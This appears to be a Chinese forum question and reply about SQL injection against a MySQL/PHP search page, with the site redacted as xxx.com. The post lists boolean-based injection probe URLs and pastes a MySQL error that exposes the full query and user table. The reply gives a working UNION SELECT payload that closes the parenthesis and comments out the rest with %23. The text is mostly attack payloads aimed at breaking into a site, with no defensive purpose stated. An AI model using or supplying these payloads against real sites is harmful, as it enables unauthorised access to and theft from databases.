mysql+php搜索型注入问题记录

 http://xxx.com/search.php?dy=a%' and 1=1-- 错误
http://xxx.com/search.php?dy=a%' and 1=2-- 错误

http://xxx.com/search.php?dy=a%' and 1=1 and '%'=' 正常
http://xxx.com/search.php?dy=a%' and 1=2 and '%'=' 错误

请教如何构造语句进行order by 或者union查询等？

http://xxx.com/search.php?dy=a%' and 1=2 order by xx and '%'=' 提示错误。。

info: MySQL Query Error

Time: 2011-2-8 2:23pm
Script:

SQL: SELECT U_Id,U_Yxdm,U_Show,U_Name,U_Num FROM j_user WHERE U_Type='3' AND U_Show>'0' AND (U_Yxdm='a%' and 1=2 order by 20 and '%'='' OR U_Name LIKE '%a%' and 1=2 order by 20 and '%'='%') ORDER BY U_Num ASC
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 20 and '%'='' OR U_Name LIKE '%a%' and 1=2 order by 20 and '%'='%') ORD' at line 1
Errno.: 1064



用%23
http://xxx.com/search.php?dy=x') union select 1,2,3,4,5%23

x') union select 1,2,3,4,5#